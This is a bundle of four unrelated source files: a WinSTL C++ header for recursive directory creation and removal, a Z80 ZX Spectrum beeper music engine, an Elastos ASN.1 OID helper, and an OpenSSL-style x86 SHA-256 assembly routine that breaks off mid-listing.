#ifndef WINSTL_INCL_WINSTL_FILESYSTEM_HPP_DIRECTORY_FUNCTIONS
#define WINSTL_INCL_WINSTL_FILESYSTEM_HPP_DIRECTORY_FUNCTIONS
#ifndef STLSOFT_DOCUMENTATION_SKIP_SECTION
# define WINSTL_VER_WINSTL_FILESYSTEM_HPP_DIRECTORY_FUNCTIONS_MAJOR 5
# define WINSTL_VER_WINSTL_FILESYSTEM_HPP_DIRECTORY_FUNCTIONS_MINOR 0
# define WINSTL_VER_WINSTL_FILESYSTEM_HPP_DIRECTORY_FUNCTIONS_REVISION 4
# define WINSTL_VER_WINSTL_FILESYSTEM_HPP_DIRECTORY_FUNCTIONS_EDIT 49
#endif /* !STLSOFT_DOCUMENTATION_SKIP_SECTION */
/* /////////////////////////////////////////////////////////////////////////
* Compatibility
*/
/*
[Incompatibilies-start]
STLSOFT_COMPILER_IS_MSVC: _MSC_VER<1200
[Incompatibilies-end]
*/
/* /////////////////////////////////////////////////////////////////////////
* Includes
*/
#ifndef WINSTL_INCL_WINSTL_H_WINSTL
# include <winstl/winstl.h>
#endif /* !WINSTL_INCL_WINSTL_H_WINSTL */
#ifndef WINSTL_INCL_WINSTL_FILESYSTEM_HPP_FILESYSTEM_TRAITS
# include <winstl/filesystem/filesystem_traits.hpp>
#endif /* !WINSTL_INCL_WINSTL_FILESYSTEM_HPP_FILESYSTEM_TRAITS */
#ifndef WINSTL_INCL_WINSTL_FILESYSTEM_HPP_FILE_PATH_BUFFER
# include <winstl/filesystem/file_path_buffer.hpp>
#endif /* !WINSTL_INCL_WINSTL_FILESYSTEM_HPP_FILE_PATH_BUFFER */
#ifdef _ATL_MIN_CRT
# ifndef STLSOFT_INCL_STLSOFT_MEMORY_HPP_ALLOCATOR_SELECTOR
# include <stlsoft/memory/allocator_selector.hpp>
# endif /* !STLSOFT_INCL_STLSOFT_MEMORY_HPP_ALLOCATOR_SELECTOR */
#endif /* _ATL_MIN_CRT */
/* /////////////////////////////////////////////////////////////////////////
* Namespace
*/
#ifndef _WINSTL_NO_NAMESPACE
# if defined(_STLSOFT_NO_NAMESPACE) || \
defined(STLSOFT_DOCUMENTATION_SKIP_SECTION)
/* There is no stlsoft namespace, so must define ::winstl */
namespace winstl
{
# else
/* Define stlsoft::winstl_project */
namespace stlsoft
{
namespace winstl_project
{
# endif /* _STLSOFT_NO_NAMESPACE */
#endif /* !_WINSTL_NO_NAMESPACE */
/* /////////////////////////////////////////////////////////////////////////
* Helper functions
*/
#ifndef STLSOFT_DOCUMENTATION_SKIP_SECTION
template <ss_typename_param_k C>
inline C* find_last_path_name_separator_(C const* s)
{
typedef filesystem_traits<C> traits_t;
ss_typename_type_k traits_t::char_type const* slash = traits_t::str_rchr(s, '/');
ss_typename_type_k traits_t::char_type const* bslash = traits_t::str_rchr(s, '\\');
if(NULL == slash)
{
slash = bslash;
}
else if(NULL != bslash)
{
if(slash < bslash)
{
slash = bslash;
}
}
return const_cast<C*>(slash);
}
template <ss_typename_param_k C>
inline
ws_bool_t
create_directory_recurse_impl(
C const* dir
, LPSECURITY_ATTRIBUTES lpsa
)
{
typedef C char_type;
typedef filesystem_traits<C> traits_t;
#ifdef _ATL_MIN_CRT
typedef ss_typename_type_k stlsoft_ns_qual(allocator_selector)<C>::allocator_type allocator_t;
typedef basic_file_path_buffer< char_type
, allocator_t
> file_path_buffer_t;
#else /* ? _ATL_MIN_CRT */
typedef basic_file_path_buffer<char_type> file_path_buffer_t;
#endif /* _ATL_MIN_CRT */
ws_bool_t bRet;
if( NULL == dir ||
'\0' == *dir)
{
traits_t::set_last_error(ERROR_DIRECTORY);
bRet = false;
}
else
{
if(traits_t::file_exists(dir))
{
if(traits_t::is_directory(dir))
{
traits_t::set_last_error(ERROR_ALREADY_EXISTS);
bRet = true;
}
else
{
traits_t::set_last_error(ERROR_FILE_EXISTS);
bRet = false;
}
}
else
{
file_path_buffer_t sz;
file_path_buffer_t szParent;
// May be being compiled absent exception support, so need to check the
// file path buffers. (This _could_ be done with a compile-time #ifdef,
// but it's best not, since some translators support exceptions but yet
// don't throw on mem exhaustion, and in any case a user could change
// ::new)
if( 0 == sz.size() ||
0 == szParent.size())
{
bRet = false;
}
else
{
ws_size_t dirLen = traits_t::str_len(dir);
traits_t::char_copy(&sz[0], dir, dirLen);
sz[dirLen] = '\0';
traits_t::remove_dir_end(&sz[0]);
if( traits_t::create_directory(sz.c_str(), lpsa) ||
ERROR_ALREADY_EXISTS == traits_t::get_last_error())
{
traits_t::set_last_error(ERROR_SUCCESS);
bRet = true;
}
else
{
// Trim previous directory
ws_size_t szLen = traits_t::str_len(dir);
traits_t::char_copy(&szParent[0], sz.c_str(), szLen);
szParent[szLen] = '\0';
char_type* pszSlash = find_last_path_name_separator_<C>(szParent.c_str());
if(pszSlash == NULL)
{
traits_t::set_last_error(ERROR_DIRECTORY);
bRet = false;
}
else
{
*pszSlash = '\0'; // Will always have enough room for two bytes
// If second character is ':', and total lengths is less than four,
// or the recurse create fails, then return false;
if( ( szParent[1] == ':' &&
(traits_t::set_last_error(ERROR_CANNOT_MAKE), traits_t::str_len(szParent.c_str()) < 4)) ||
!create_directory_recurse_impl(szParent.c_str(), lpsa))
{
bRet = false;
}
else
{
bRet = traits_t::create_directory(sz.c_str(), lpsa) || ERROR_ALREADY_EXISTS == traits_t::get_last_error();
}
}
}
}
}
}
return bRet;
}
template<
ss_typename_param_k C
, ss_typename_param_k FD // This is need because VC++6 cannot deduce filesystem_traits<C>::find_data_type
>
inline
ws_dword_t
remove_directory_recurse_impl(
C const* dir
, ws_int_t (*pfn)(void* param, C const* subDir, FD const* st, DWORD err)
, void* param
)
{
typedef C char_type;
typedef filesystem_traits<C> traits_t;
#ifdef _ATL_MIN_CRT
typedef ss_typename_type_k stlsoft_ns_qual(allocator_selector)<C>::allocator_type allocator_t;
typedef basic_file_path_buffer< char_type
, allocator_t
> file_path_buffer_t;
#else /* ? _ATL_MIN_CRT */
typedef basic_file_path_buffer<char_type> file_path_buffer_t;
#endif /* _ATL_MIN_CRT */
ws_dword_t dwRet = static_cast<ws_dword_t>(E_FAIL);
if(NULL != pfn)
{
// starting: { param, dir, NULL, ~0 }
(void)(*pfn)(param, dir, NULL, ~static_cast<ws_dword_t>(0)); // Entering
}
if( NULL == dir ||
'\0' == *dir)
{
dwRet = ERROR_DIRECTORY;
if(NULL != pfn)
{
// failed: { param, dir, NULL, error-code }
(void)(*pfn)(param, dir, NULL, dwRet);
}
}
else
{
if(!traits_t::file_exists(dir))
{
// The given path does not exist, so this is treated as success, but
// reporting ERROR_PATH_NOT_FOUND
dwRet = ERROR_PATH_NOT_FOUND;
if(NULL != pfn)
{
// failed: { param, dir, NULL, error-code }
(void)(*pfn)(param, dir, NULL, dwRet);
}
}
else
{
if(traits_t::is_file(dir))
{
// The given path exists as a file. This is failure
dwRet = ERROR_FILE_EXISTS;
if(NULL != pfn)
{
// failed: { param, dir, NULL, error-code }
(void)(*pfn)(param, dir, NULL, dwRet);
}
}
else
{
// Otherwise, we attempt to remove it
if(traits_t::remove_directory(dir))
{
dwRet = ERROR_SUCCESS;
if(NULL != pfn)
{
// succeeded: { param, dir, NULL, ERROR_SUCCESS }
(void)(*pfn)(param, dir, NULL, dwRet); // Deleted
}
}
else
{
const DWORD removeError = traits_t::get_last_error();
if( ERROR_DIR_NOT_EMPTY != removeError &&
ERROR_SHARING_VIOLATION != removeError)
{
dwRet = removeError;
if(NULL != pfn)
{
// failed: { param, dir, NULL, error-code }
(void)(*pfn)(param, dir, NULL, dwRet);
}
}
else
{
// It has some contents, so we need to remove them
ss_typename_type_k traits_t::stat_data_type st;
file_path_buffer_t sz;
HANDLE hSrch;
ws_size_t n;
ws_size_t dirLen = traits_t::str_len(dir);
ws_size_t allLen = traits_t::str_len(traits_t::pattern_all());
traits_t::char_copy(&sz[0], dir, dirLen);
sz[dirLen] = '\0';
traits_t::ensure_dir_end(&sz[0]);
n = traits_t::str_len(sz.c_str());
WINSTL_ASSERT(n + traits_t::str_len(traits_t::pattern_all()) <= file_path_buffer_t::max_size());
traits_t::char_copy(&sz[n], traits_t::pattern_all(), allLen);
sz[n + allLen] = '\0';
hSrch = traits_t::find_first_file(sz.c_str(), &st);
if(INVALID_HANDLE_VALUE == hSrch)
{
dwRet = traits_t::get_last_error();
}
else
{
dwRet = ERROR_SUCCESS;
do
{
if(!traits_t::is_dots(st.cFileName))
{
ws_size_t filenameLen = traits_t::str_len(st.cFileName);
traits_t::char_copy(&sz[n], st.cFileName, filenameLen);
sz[n + filenameLen] = '\0';
if(traits_t::is_file(sz.c_str()))
{
// If it's a file, the pfn must be consulted, otherwise
// it's an automatic failure
ws_int_t r = 0;
if( NULL == pfn ||
0 == (r = (*pfn)(param, dir, &st, ERROR_SUCCESS)))
{
dwRet = ERROR_DIR_NOT_EMPTY;
if(NULL != pfn)
{
// failed: { param, dir, &entry, error-code }
(void)(*pfn)(param, dir, &st, dwRet);
}
break;
}
else
{
if(r > 0)
{
if(!traits_t::delete_file(sz.c_str()))
{
dwRet = traits_t::get_last_error();
if(NULL != pfn)
{
// failed: { param, dir, &entry, error-code }
(void)(*pfn)(param, dir, &st, dwRet);
}
break;
}
}
}
}
else
{
ws_int_t r = 1;
// If it's a directory, then pfn is consulted, otherwise
// it's an automatic attempt to recursively delete
if( NULL != pfn &&
0 == (r = (*pfn)(param, dir, &st, ERROR_SUCCESS)))
{
dwRet = ERROR_DIR_NOT_EMPTY;
if(NULL != pfn)
{
// failed: { param, dir, &entry, error-code }
(void)(*pfn)(param, dir, &st, dwRet);
}
break;
}
else
{
if(r > 0)
{
dwRet = remove_directory_recurse_impl(sz.c_str(), pfn, param);
}
}
}
}
} while(traits_t::find_next_file(hSrch, &st));
traits_t::find_file_close(hSrch);
if(ERROR_SUCCESS == dwRet)
{
if(traits_t::remove_directory(dir))
{
if(NULL != pfn)
{
// succeeded: { param, dir, NULL, ERROR_SUCCESS }
(void)(*pfn)(param, dir, NULL, ERROR_SUCCESS); // Deleted
}
}
else
{
dwRet = traits_t::get_last_error();
}
}
}
}
}
}
}
}
return dwRet;
}
#endif /* !STLSOFT_DOCUMENTATION_SKIP_SECTION */
/* /////////////////////////////////////////////////////////////////////////
* Functions
*/
/** Creates the given directory, including all its parent directories, applying
* the given mode.
*
* \ingroup group__library__filesystem
*
* \param dir The path of the directory to create
* \param lpsa The security attributes with which each directory is to be created
*/
inline ws_bool_t create_directory_recurse(ws_char_a_t const* dir, LPSECURITY_ATTRIBUTES lpsa = NULL)
{
return create_directory_recurse_impl(dir, lpsa);
}
/** Creates the given directory, including all its parent directories, applying
* the given mode.
*
* \ingroup group__library__filesystem
*
* \param dir The path of the directory to create
* \param lpsa The security attributes with which each directory is to be created
*/
inline ws_bool_t create_directory_recurse(ws_char_w_t const* dir, LPSECURITY_ATTRIBUTES lpsa = NULL)
{
return create_directory_recurse_impl(dir, lpsa);
}
/** Creates the given directory, including all its parent directories, applying
* the given mode.
*
* \ingroup group__library__filesystem
*
* \param dir The path of the directory to create
* \param lpsa The security attributes with which each directory is to be created
*/
template <ss_typename_param_k S>
inline ws_bool_t create_directory_recurse(S const& dir, LPSECURITY_ATTRIBUTES lpsa = NULL)
{
return create_directory_recurse(stlsoft_ns_qual(c_str_ptr)(dir), lpsa);
}
/** Removes the given directory, and all its subdirectories.
*
* \ingroup group__library__filesystem
*
* \param dir The path of the directory to remove.
* \param pfn Pointer to a callback function, which will receive
* notifications and requests for file/directory deletion. The semantics
* of the parameters are specified in the note below.
* \param param Caller-supplied parameter, always passed through to the
* callback function \c pfn.
*
* \note If no callback function is specified, then the function will remove
* only empty subdirectories, i.e. no files will be removed. To remove
* files, a function must be supplied, and may take additional measures
* (such as changing file attributes) before the deletion is attempted by
* <code>remove_directory_recurse()</code>. Do not delete the file in the
* callback, otherwise the attempt within
* <code>remove_directory_recurse()</code> will fail, and the function
* will report overall failure of the operation.
*
* \note The semantics of the callback function's parameters are as follows:
* \li If the err param is ~0 (-1 on UNIX), then the \c dir param specifies
* the name of the current directory being traversed. All other params are
* unspecified (except \c param). The return value is ignored.
* \li If the err param is 0 and the \c st param is NULL, then \c dir
* specifies the name of a directory that has been successfully removed.
* All other params are unspecified (except \c param). The return value is
* ignored.
* \li If the err param is 0 and the \c st param is not NULL, then \c dir
* specifies the name of the currently traversing directory, and \c st
* specifies the stat information for the entry to be deleted. Return true
* to enable removal of this entry, or false to prevent removal (and
* cancel the overall operation). All other params are unspecified (except
* \c param). The return value is ignored.
* \li If the err param is any other value, and the \c st param is NULL,
* then the \c dir param specifies the name of a directory that could not
* be deleted and err specifies the errno value associated with the
* failure. All other params are unspecified (except \c param). The return
* value is ignored.
* \li If the err param is any other value, and the \c st param is not NULL,
* then the \c dir param specifies the name of a directory within which an
* entry could not be deleted, \c st specifies the stat information of the
* entry that could not be deleted, and err specifies the errno value
* associated with the failure. All other params are unspecified (except
* \c param). The return value is ignored.
*/
inline
ws_bool_t
remove_directory_recurse(
ws_char_a_t const* dir
, ws_int_t (*pfn)(void* param, ws_char_a_t const* subDir, WIN32_FIND_DATAA const* st, DWORD err)
, void* param
)
{
typedef filesystem_traits<ws_char_a_t> traits_t;
ws_dword_t dwRet = remove_directory_recurse_impl<ws_char_a_t, WIN32_FIND_DATAA>(dir, pfn, param);
traits_t::set_last_error(dwRet);
return ERROR_SUCCESS == dwRet;
}
/** Removes the given directory, and all its subdirectories.
*
* \ingroup group__library__filesystem
*/
inline ws_bool_t remove_directory_recurse(ws_char_a_t const* dir)
{
return remove_directory_recurse(dir, NULL, NULL);
}
/** Removes the given directory, and all its subdirectories.
*
* \ingroup group__library__filesystem
*/
inline ws_bool_t remove_directory_recurse(
ws_char_w_t const* dir
, ws_int_t (*pfn)(void* param, ws_char_w_t const* subDir, WIN32_FIND_DATAW const* st, DWORD err)
, void* param
)
{
typedef filesystem_traits<ws_char_w_t> traits_t;
ws_dword_t dwRet = remove_directory_recurse_impl<ws_char_w_t, WIN32_FIND_DATAW>(dir, pfn, param);
traits_t::set_last_error(dwRet);
return ERROR_SUCCESS == dwRet;
}
/** Removes the given directory, and all its subdirectories.
*
* \ingroup group__library__filesystem
*/
inline ws_bool_t remove_directory_recurse(ws_char_w_t const* dir)
{
return remove_directory_recurse(dir, NULL, NULL);
}
#ifndef STLSOFT_DOCUMENTATION_SKIP_SECTION
/** Removes the given directory, and all its subdirectories.
*
* \ingroup group__library__filesystem
*/
template <ss_typename_param_k S>
inline ws_bool_t remove_directory_recurse(S const& dir)
{
typedef filesystem_traits<ws_char_w_t> traits_t;
ws_dword_t dwRet = remove_directory_recurse(stlsoft_ns_qual(c_str_ptr)(dir), NULL, NULL);
traits_t::set_last_error(dwRet);
return ERROR_SUCCESS == dwRet;
}
#endif /* !STLSOFT_DOCUMENTATION_SKIP_SECTION */
/* /////////////////////////////////////////////////////////////////////////
* Unit-testing
*/
#ifdef STLSOFT_UNITTEST
# include "./unittest/directory_functions_unittest_.h"
#endif /* STLSOFT_UNITTEST */
/* ////////////////////////////////////////////////////////////////////// */
#ifndef _WINSTL_NO_NAMESPACE
# if defined(_STLSOFT_NO_NAMESPACE) || \
defined(STLSOFT_DOCUMENTATION_SKIP_SECTION)
} // namespace winstl
# else
} // namespace winstl_project
} // namespace stlsoft
# endif /* _STLSOFT_NO_NAMESPACE */
#endif /* !_WINSTL_NO_NAMESPACE */
/* ////////////////////////////////////////////////////////////////////// */
#endif /* WINSTL_INCL_WINSTL_FILESYSTEM_HPP_DIRECTORY_FUNCTIONS */
/* ///////////////////////////// end of file //////////////////////////// */
|
;nanobeep2
;tiny ZX Spectrum beeper engine
;by utz 08'2017 * www.irrlichtproject.de
org #8000
borderMasking equ 0
fullKeyboardCheck equ 0
useDrum equ 1
loopToStart equ 1
usePatternSpeed equ 0
pwmSweep equ 1
usePrescaling equ 1
include "equates.h"
;new tiny engine: 64-99 bytes
;fullKeyboardCheck +1 bytes
;borderMasking = +4/+6 bytes
;useDrum = +11 bytes
;loopToStart = +0
;variable pattern speed = +4
;pwmSweep +2
;usePrescaling +11 (down = #f, up = #7)
init
di
ld d,0
ld c,d
exx
push hl
ld (_oldSP),sp
IF fullKeyboardCheck = 0
ld d,0
ENDIF
_initSeq
ld bc,musicData
;*******************************************************************************
_readSeq
ld a,(bc)
ld l,a
inc bc
ld a,(bc)
or a
IF loopToStart = 0
jr z,_exit
ELSE
jr z,_initSeq
ENDIF
inc bc
ld h,a
ld sp,hl
;*******************************************************************************
IF usePatternSpeed = 1
pop af
ld (_ptnSpeed),a
ENDIF
IF usePrescaling = 1
pop hl
ld a,h
ld (_prescale1),a
ld a,l
ld (_prescale2),a
ENDIF
_readPtn
in a,(#fe)
IF fullKeyboardCheck = 1
cpl
and #1f
ld d,a
jr z,_cont
ELSE
rra
jr c,_cont
ENDIF
_exit
_oldSP equ $+1
ld sp,0
pop hl
exx
ei
ret
IF useDrum = 1
_drum
ld h,l
dec sp
_drumlp
ld a,(hl)
IF borderMasking = 1
and #10
ENDIF
out (#fe),a
dec l
jr nz,_drumlp
ENDIF
_cont
pop hl
ld a,l
inc l
jr z,_readSeq
IF useDrum = 1
inc l
jr z,_drum
ENDIF
ld e,h
exx
ld e,a
IF usePatternSpeed = 1
_ptnSpeed equ $+1
ld b,0
ELSE
ld b,speed
ENDIF
;*******************************************************************************
_soundloop
ld a,h ;4 ;load ch1 osc state
IF pwmSweep = 1
add a,b
and h
ENDIF
IF usePrescaling = 1
_prescale1
nop
ENDIF
IF borderMasking = 1
and #10
ENDIF
out (#fe),a ;11
exx ;4
add hl,de ;11 ;update ch2 osc
ld a,h ;4
IF usePrescaling = 1
_prescale2
nop
ENDIF
exx ;4
dec bc ;6
IF borderMasking = 1
and #10
ENDIF
add hl,de ;11 ;update ch1 osc (moved here for better volume balance)
out (#fe),a ;11
ld a,b ;4
or c ;4
jr nz,_soundloop ;12
;86
exx
jr _readPtn
;*******************************************************************************
musicData
include "music.asm"
|
//=========================================================================
// Copyright (C) 2012 The Elastos Open Source Project
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//=========================================================================
#include "CASN1OidHelper.h"
#include "ASN1Oid.h"
namespace Org {
namespace Apache {
namespace Harmony {
namespace Security {
namespace Asn1 {
CAR_SINGLETON_IMPL(CASN1OidHelper)
CAR_INTERFACE_IMPL(CASN1OidHelper, Singleton, IASN1OidHelper)
ECode CASN1OidHelper::GetInstance(
/* [out] */ IASN1Type** instance)
{
return ASN1Oid::GetInstance(instance);
}
ECode CASN1OidHelper::GetInstanceForString(
/* [out] */ IASN1Type** instance)
{
return ASN1Oid::GetInstanceForString(instance);
}
} // namespace Asn1
} // namespace Security
} // namespace Harmony
} // namespace Apache
} // namespace Org
|
TITLE sha512-586.asm
IF @Version LT 800
ECHO MASM version 8.00 or later is strongly recommended.
ENDIF
.686
.XMM
IF @Version LT 800
XMMWORD STRUCT 16
DQ 2 dup (?)
XMMWORD ENDS
ENDIF
.MODEL FLAT
OPTION DOTNAME
IF @Version LT 800
.text$ SEGMENT PAGE 'CODE'
ELSE
.text$ SEGMENT ALIGN(64) 'CODE'
ENDIF
;EXTERN _OPENSSL_ia32cap_P:NEAR
ALIGN 16
_sha256_block_data_order PROC PUBLIC
$L_sha256_block_data_order_begin::
push ebp
push ebx
push esi
push edi
mov esi,DWORD PTR 20[esp]
mov edi,DWORD PTR 24[esp]
mov eax,DWORD PTR 28[esp]
mov ebx,esp
call $L000pic_point
$L000pic_point:
pop ebp
lea ebp,DWORD PTR ($L001K256-$L000pic_point)[ebp]
sub esp,16
and esp,-64
shl eax,6
add eax,edi
mov DWORD PTR [esp],esi
mov DWORD PTR 4[esp],edi
mov DWORD PTR 8[esp],eax
mov DWORD PTR 12[esp],ebx
lea edx,DWORD PTR _OPENSSL_ia32cap_P
mov ecx,DWORD PTR [edx]
mov ebx,DWORD PTR 4[edx]
test ecx,1048576
jnz $L002loop
mov edx,DWORD PTR 8[edx]
test ecx,16777216
jz $L003no_xmm
and ecx,1073741824
and ebx,268435968
test edx,536870912
jnz $L004shaext
or ecx,ebx
and ecx,1342177280
cmp ecx,1342177280
test ebx,512
jnz $L005SSSE3
$L003no_xmm:
sub eax,edi
cmp eax,256
jae $L006unrolled
jmp $L002loop
ALIGN 16
$L002loop:
mov eax,DWORD PTR [edi]
mov ebx,DWORD PTR 4[edi]
mov ecx,DWORD PTR 8[edi]
bswap eax
mov edx,DWORD PTR 12[edi]
bswap ebx
push eax
bswap ecx
push ebx
bswap edx
push ecx
push edx
mov eax,DWORD PTR 16[edi]
mov ebx,DWORD PTR 20[edi]
mov ecx,DWORD PTR 24[edi]
bswap eax
mov edx,DWORD PTR 28[edi]
bswap ebx
push eax
bswap ecx
push ebx
bswap edx
push ecx
push edx
mov eax,DWORD PTR 32[edi]
mov ebx,DWORD PTR 36[edi]
mov ecx,DWORD PTR 40[edi]
bswap eax
mov edx,DWORD PTR 44[edi]
bswap ebx
push eax
bswap ecx
push ebx
bswap edx
push ecx
push edx
mov eax,DWORD PTR 48[edi]
mov ebx,DWORD PTR 52[edi]
mov ecx,DWORD PTR 56[edi]
bswap eax
mov edx,DWORD PTR 60[edi]
bswap ebx
push eax
bswap ecx
push ebx
bswap edx
push ecx
push edx
add edi,64
lea esp,DWORD PTR [esp-36]
mov DWORD PTR 104[esp],edi
mov eax,DWORD PTR [esi]
mov ebx,DWORD PTR 4[esi]
mov ecx,DWORD PTR 8[esi]
mov edi,DWORD PTR 12[esi]
mov DWORD PTR 8[esp],ebx
xor ebx,ecx
mov DWORD PTR 12[esp],ecx
mov DWORD PTR 16[esp],edi
mov DWORD PTR [esp],ebx
mov edx,DWORD PTR 16[esi]
mov ebx,DWORD PTR 20[esi]
mov ecx,DWORD PTR 24[esi]
mov edi,DWORD PTR 28[esi]
mov DWORD PTR 24[esp],ebx
mov DWORD PTR 28[esp],ecx
mov DWORD PTR 32[esp],edi
ALIGN 16
$L00700_15:
mov ecx,edx
mov esi,DWORD PTR 24[esp]
ror ecx,14
mov edi,DWORD PTR 28[esp]
xor ecx,edx
xor esi,edi
mov ebx,DWORD PTR 96[esp]
ror ecx,5
and esi,edx
mov DWORD PTR 20[esp],edx
xor edx,ecx
add ebx,DWORD PTR 32[esp]
xor esi,edi
ror edx,6
mov ecx,eax
add ebx,esi
ror ecx,9
add ebx,edx
mov edi,DWORD PTR 8[esp]
xor ecx,eax
mov DWORD PTR 4[esp],eax
lea esp,DWORD PTR [esp-4]
ror ecx,11
mov esi,DWORD PTR [ebp]
xor ecx,eax
mov edx,DWORD PTR 20[esp]
xor eax,edi
ror ecx,2
add ebx,esi
mov DWORD PTR [esp],eax
add edx,ebx
and eax,DWORD PTR 4[esp]
add ebx,ecx
xor eax,edi
add ebp,4
add eax,ebx
cmp esi,3248222580
jne $L00700_15
mov ecx,DWORD PTR 156[esp]
jmp $L00816_63
ALIGN 16
$L00816_63:
mov ebx,ecx
mov esi,DWORD PTR 104[esp]
ror ecx,11
mov edi,esi
ror esi,2
xor ecx,ebx
shr ebx,3
ror ecx,7
xor esi,edi
xor ebx,ecx
ror esi,17
add ebx,DWORD PTR 160[esp]
shr edi,10
add ebx,DWORD PTR 124[esp]
mov ecx,edx
xor edi,esi
mov esi,DWORD PTR 24[esp]
ror ecx,14
add ebx,edi
mov edi,DWORD PTR 28[esp]
xor ecx,edx
xor esi,edi
mov DWORD PTR 96[esp],ebx
ror ecx,5
and esi,edx
mov DWORD PTR 20[esp],edx
xor edx,ecx
add ebx,DWORD PTR 32[esp]
xor esi,edi
ror edx,6
mov ecx,eax
add ebx,esi
ror ecx,9
add ebx,edx
mov edi,DWORD PTR 8[esp]
xor ecx,eax
mov DWORD PTR 4[esp],eax
lea esp,DWORD PTR [esp-4]
ror ecx,11
mov esi,DWORD PTR [ebp]
xor ecx,eax
mov edx,DWORD PTR 20[esp]
xor eax,edi
ror ecx,2
add ebx,esi
mov DWORD PTR [esp],eax
add edx,ebx
and eax,DWORD PTR 4[esp]
add ebx,ecx
xor eax,edi
mov ecx,DWORD PTR 156[esp]
add ebp,4
add eax,ebx
cmp esi,3329325298
jne $L00816_63
mov esi,DWORD PTR 356[esp]
mov ebx,DWORD PTR 8[esp]
mov ecx,DWORD PTR 16[esp]
add eax,DWORD PTR [esi]
add ebx,DWORD PTR 4[esi]
add edi,DWORD PTR 8[esi]
add ecx,DWORD PTR 12[esi]
mov DWORD PTR [esi],eax
mov DWORD PTR 4[esi],ebx
mov DWORD PTR 8[esi],edi
mov DWORD PTR 12[esi],ecx
mov eax,DWORD PTR 24[esp]
mov ebx,DWORD PTR 28[esp]
mov ecx,DWORD PTR 32[esp]
mov edi,DWORD PTR 360[esp]
add edx,DWORD PTR 16[esi]
add eax,DWORD PTR 20[esi]
add ebx,DWORD PTR 24[esi]
add ecx,DWORD PTR 28[esi]
mov DWORD PTR 16[esi],edx
mov DWORD PTR 20[esi],eax
mov DWORD PTR 24[esi],ebx
mov DWORD PTR 28[esi],ecx
lea esp,DWORD PTR 356[esp]
sub ebp,256
cmp edi,DWORD PTR 8[esp]
jb $L002loop
mov esp,DWORD PTR 12[esp]
pop edi
pop esi
pop ebx
pop ebp
ret
ALIGN 64
$L001K256:
DD 1116352408,1899447441,3049323471,3921009573
DD 961987163,1508970993,2453635748,2870763221
DD 3624381080,310598401,607225278,1426881987
DD 1925078388,2162078206,2614888103,3248222580
DD 3835390401,4022224774,264347078,604807628
DD 770255983,1249150122,1555081692,1996064986
DD 2554220882,2821834349,2952996808,3210313671
DD 3336571891,3584528711,113926993,338241895
DD 666307205,773529912,1294757372,1396182291
DD 1695183700,1986661051,2177026350,2456956037
DD 2730485921,2820302411,3259730800,3345764771
DD 3516065817,3600352804,4094571909,275423344
DD 430227734,506948616,659060556,883997877
DD 958139571,1322822218,1537002063,1747873779
DD 1955562222,2024104815,2227730452,2361852424
DD 2428436474,2756734187,3204031479,3329325298
DD 66051,67438087,134810123,202182159
DB 83,72,65,50,53,54,32,98,108,111,99,107,32,116,114,97
DB 110,115,102,111,114,109,32,102,111,114,32,120,56,54,44,32
DB 67,82,89,80,84,79,71,65,77,83,32,98,121,32,60,97
DB 112,112,114,111,64,111,112,101,110,115,115,108,46,111,114,103
DB 62,0
ALIGN 16
$L006unrolled:
lea esp,DWORD PTR [esp-96]
mov eax,DWORD PTR [esi]
mov ebp,DWORD PTR 4[esi]
mov ecx,DWORD PTR 8[esi]
mov ebx,DWORD PTR 12[esi]
mov DWORD PTR 4[esp],ebp
xor ebp,ecx
mov DWORD PTR 8[esp],ecx
mov DWORD PTR 12[esp],ebx
mov edx,DWORD PTR 16[esi]
mov ebx,DWORD PTR 20[esi]
mov ecx,DWORD PTR 24[esi]
mov esi,DWORD PTR 28[esi]
mov DWORD PTR 20[esp],ebx
mov DWORD PTR 24[esp],ecx
mov DWORD PTR 28[esp],esi
jmp $L009grand_loop
ALIGN 16
$L009grand_loop:
mov ebx,DWORD PTR [edi]
mov ecx,DWORD PTR 4[edi]
bswap ebx
mov esi,DWORD PTR 8[edi]
bswap ecx
mov DWORD PTR 32[esp],ebx
bswap esi
mov DWORD PTR 36[esp],ecx
mov DWORD PTR 40[esp],esi
mov ebx,DWORD PTR 12[edi]
mov ecx,DWORD PTR 16[edi]
bswap ebx
mov esi,DWORD PTR 20[edi]
bswap ecx
mov DWORD PTR 44[esp],ebx
bswap esi
mov DWORD PTR 48[esp],ecx
mov DWORD PTR 52[esp],esi
mov ebx,DWORD PTR 24[edi]
mov ecx,DWORD PTR 28[edi]
bswap ebx
mov esi,DWORD PTR 32[edi]
bswap ecx
mov DWORD PTR 56[esp],ebx
bswap esi
mov DWORD PTR 60[esp],ecx
mov DWORD PTR 64[esp],esi
mov ebx,DWORD PTR 36[edi]
mov ecx,DWORD PTR 40[edi]
bswap ebx
mov esi,DWORD PTR 44[edi]
bswap ecx
mov DWORD PTR 68[esp],ebx
bswap esi
mov DWORD PTR 72[esp],ecx
mov DWORD PTR 76[esp],esi
mov ebx,DWORD PTR 48[edi]
mov ecx,DWORD PTR 52[edi]
bswap ebx
mov esi,DWORD PTR 56[edi]
bswap ecx
mov DWORD PTR 80[esp],ebx
bswap esi
mov DWORD PTR 84[esp],ecx
mov DWORD PTR 88[esp],esi
mov ebx,DWORD PTR 60[edi]
add edi,64
bswap ebx
mov DWORD PTR 100[esp],edi
mov DWORD PTR 92[esp],ebx
mov ecx,edx
mov esi,DWORD PTR 20[esp]
ror edx,14
mov edi,DWORD PTR 24[esp]
xor edx,ecx
mov ebx,DWORD PTR 32[esp]
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD PTR 16[esp],ecx
xor edx,ecx
add ebx,DWORD PTR 28[esp]
xor edi,esi
ror edx,6
mov ecx,eax
add ebx,edi
ror ecx,9
mov esi,eax
mov edi,DWORD PTR 4[esp]
xor ecx,eax
mov DWORD PTR [esp],eax
xor eax,edi
ror ecx,11
and ebp,eax
lea edx,DWORD PTR 1116352408[edx*1+ebx]
xor ecx,esi
xor ebp,edi
ror ecx,2
add ebp,edx
add edx,DWORD PTR 12[esp]
add ebp,ecx
mov esi,edx
mov ecx,DWORD PTR 16[esp]
ror edx,14
mov edi,DWORD PTR 20[esp]
xor edx,esi
mov ebx,DWORD PTR 36[esp]
xor ecx,edi
ror edx,5
and ecx,esi
mov DWORD PTR 12[esp],esi
xor edx,esi
